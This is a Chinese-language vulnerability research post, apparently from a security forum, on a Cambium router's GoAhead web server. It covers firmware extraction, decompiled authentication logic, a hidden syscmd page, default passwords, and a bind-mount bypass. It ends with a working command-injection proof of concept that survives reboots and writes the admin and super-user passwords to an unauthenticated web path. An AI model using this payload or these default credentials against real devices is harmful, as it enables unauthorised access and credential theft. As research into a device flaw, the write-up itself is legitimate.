
提前声明:最近越来越不爱解释代码了,如果哪些代码你看着很奇怪,可以找我要固件自己分析,东西都不难的。
设备配好后扫了一下发现22和23端口是开放的,那就先不拆了。

默认用户名密码 admin/admin

提取固件,可以看到这里有很多分区。一般来说直接提取rootfs就行了。

这里我选择提取Image_ALL,看看有没有别的好玩的。
dd if=/dev/mtd16 of=/tmp/image.img
不过/tmp的空间不够用,会导致设备重启,这里可以直接用nc读出。

解包binwalk就行。
整个web服务是使用goahead实现的。所有的功能api也都是在里边实现的。
先来分析下goahead权限管理,因为这个权限管理也是花我时间最多的,反正最后没绕过。

这里是典型的权限认证。
if ( strcmp(a6, "/adm/syscmd.asp")
|| (memset(v30, 0, sizeof(v30)), sprintf(v30, "pwd=%s", passwd_for_syscmd), *a7) && !strcmp(a7, v30) )
{
v16 = 0;
if ( strcmp(a6, "/")
&& strcmp(a6, "/index.asp")
&& strcmp(a6, "/robots.txt")
&& strncmp(a6, "/style/", 7)
&& strncmp(a6, "/js/", 4)
&& strcmp(a6, "/title.gif")
&& strncmp(a6, "/lang_pack/", 11)
&& strcmp(a6, "/goform/websLogin")
&& strcmp(a6, "/goform/setLanguage")
&& strcmp(a6, "/goform/updateCaptchaimg")
&& (strncmp(a6, "/reboot", 7) || !strcmp(a6, "/reboot.asp")) )
{
if ( strcmp(a6, "/adm/reboot.asp") || (v16 = 0, !cmd_reboot) )
{
if ( g_need_update == 1 )
{
nvramUpdate(0);
acl_obj_destroy();
acl_obj_init();
g_need_update = 0;
}
if ( (a1[78] & 0x40) != 0 )
{
if ( (a1[78] & 0x100) != 0 )
updateMenu(a6, a7, 3);
v16 = 0;
if ( a7 && !strcmp(a7, "NeedReboot") )
setNeedReboot();
}
else
{
v19 = nvram_bufget(0, "WebIdleTimeout");
v21 = atoi(v19);
RequestIpaddr = websGetRequestIpaddr(a1);
v22 = (_DWORD *)dword_4D7D48;
v23 = RequestIpaddr;
if ( !dword_4D7D48 )
goto LABEL_49;
v24 = a1[70];
while ( !v24 || strcmp(v23, v22) || !strstr(v24, v22 + 18) )
{
v22 = (_DWORD *)v22[29];
if ( !v22 )
goto LABEL_49;
}
a1[88] = v22[16];
if ( 60 * v21 )
v22[17] = time(0);
if ( (a1[78] & 0x100) != 0 )
updateMenu(a6, a7, a1[88]);
if ( a7 && !strcmp(a7, "NeedReboot") )
setNeedReboot();
v16 = 0;
if ( sub_413898(a1[88], a6, a1[89], a1) != 1 )
{
LABEL_49:
websRedirect(a1, "/index.asp");
return 1;
}
}
}
}
}
else
{
websError(a1, 404, "Page Not Found");
return 1;
}有以下大概几个重点:
/adm/syscmd.asp页面单独列出来了, 肯定有东西
/index.asp,/robots.txt,/style/,/js/,/title.gif,/lang_pack/,/goform/websLogin,/goform/setLanguage,/goform/updateCaptchaimg,/reboot,/reboot.asp 这些是属于不用登陆可以访问的。
可惜的是这几个文件夹下都是js文件和sh文件,无法调用。

除了这些,正常的请求都在这里


这里不赘述了,东西很简单,授权漏洞出了很多。
主要是下面几个重点的内容。
刚才说的syscmd.asp,在adm目录下,正常登录后请求返回也是404。

这里请求后边有个pwd参数,刚开始以为是硬编码,发现不是。

这里后续其实进行修改了,具体修改函数。

简单点来说就是生成一个基于当前日期的固定格式字符串。
这里不写脚本来生成key了,我嫌麻烦。
这里直接吧/adm/syscmd.asp复制一份/adm/syscmd1.asp,直接绕过goahead中的校验。
这里遇到第二个问题,权限不足。

这里一共有两个结局方案,先说第一个,很直观的方法,绑定挂载技术。
# cp -r /etc_ro/web/ /tmp/web
# cp /tmp/web/adm/
# cp /tmp/web/adm/syscmd.asp /tmp/web/adm/syscmd1.asp
# mount --bind /tmp/web/ /etc_ro/web/
再访问

随便执行个命令请求后,自己就添加上正确参数了。(我是懒狗我骄傲)

这个先到这里,继续分析登陆。


这里发现有三套跟登陆有关的账号
admin/admin user/user useradmin/admin

不过这三个账号只跟返回跳转的页面有关,跟cooie权限没啥关系,也就是能获取到其中一个账号密码,就能调用所有功能。

关于cookie的超时机制,这里也不多说了。
写了个脚本批量跑了一下,大概是useradmin/admin是默认的是最多的。

所以下面重点研究下怎么利用这个低权限弱口令。
在分析启动脚本过程中发现下面几个点。
- cambium_agent.sh中挂载mtdblock

- goahead.sh中执行goagead启动脚本

- internet.sh中启动保存的脚本

挂载mtdblock可以确定,/etc/cambium文件夹重启不丢失。
存在/custom/logo-CAMBIUM.png会将其复制到/etc/web中,证明如果在etc下可读写。
三个脚本在rcS的执行顺便为 internet.sh -> cambium_agent.sh -> goahead.sh
#network
internet.sh "first_boot"
# 在R190上watchdog如果在internet.sh启动前启动,会导致/dev/watchdog文件无法创建,进而导致一些问题
watchdog.sh
has_mt7530=`dev_manage stat_get has_mt7530_switch`
dev_manage stat_set is_internet_Ready "Ready"
[ "$has_mt7530" == "1" ]&&check_switch_reg_abnormal.sh &
#management
provision.sh run
snmpd.sh run
tr069.sh run
scheduled_tasks.sh start
if [ -f /usr/sbin/asterisk.sh ]; then
asterisk.sh start
fi
chang_gpiomode.sh
#for ipphone
voip.sh start
cambium_agent=`dev_manage stat_get cambium_agent`
if [ "$cambium_agent" == "1" ]; then
cambium_agent.sh start
fi
#web server
goahead.sh
(这里吐槽一个,代码里的中文不是我写的,是他自带的,一个美股上市的企业设备都是部署在美国境内的设备,rcS代码注释居然是中文的。抽象)
那就是怎么长利用和抗重启了。
这里我直接贴poc了。
;mkdir /etc/cambium/custom/;id>/etc/cambium/custom/logo-CAMBIUM.png;nvram_set misc_cmd 'sleep 10;nvram_get AdminUser > /etc/web/js/passwd.txt;nvram_get DBID_SUPER_WEB_PASSWORD >> /etc/web/js/passwd.txt;cp /etc/web/adm/syscmd.asp /etc/web/js/syscmd.asp';reboot;
解释下:
mkdir /etc/cambium/custom/
id>/etc/cambium/custom/logo-CAMBIUM.png
创建logo-CAMBIUM.png文件,保证设备重启后的web目录可读写
nvram_set misc_cmd
'sleep 10;
nvram_get AdminUser > /etc/web/js/passwd.txt;
nvram_get DBID_SUPER_WEB_PASSWORD >> /etc/web/js/passwd.txt;
cp /etc/web/adm/syscmd.asp /etc/web/js/syscmd.asp'
把获取其他信息写入到/js/passwd.txt中获取,之前也说了/js/下的文件不需要鉴权。吧syscmd.asp也复制过去,这里就算复制过去执行命令也需要登陆的,所以就是方便而已,没啥意义。这里先sleep 10是因为脚本执行顺序原因了。
reboot
然后就是重启验证了。
效果就是这样,这里也没啥可以仔细分析的漏洞什么东西了,因为拼接的太多了。

就这样。
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!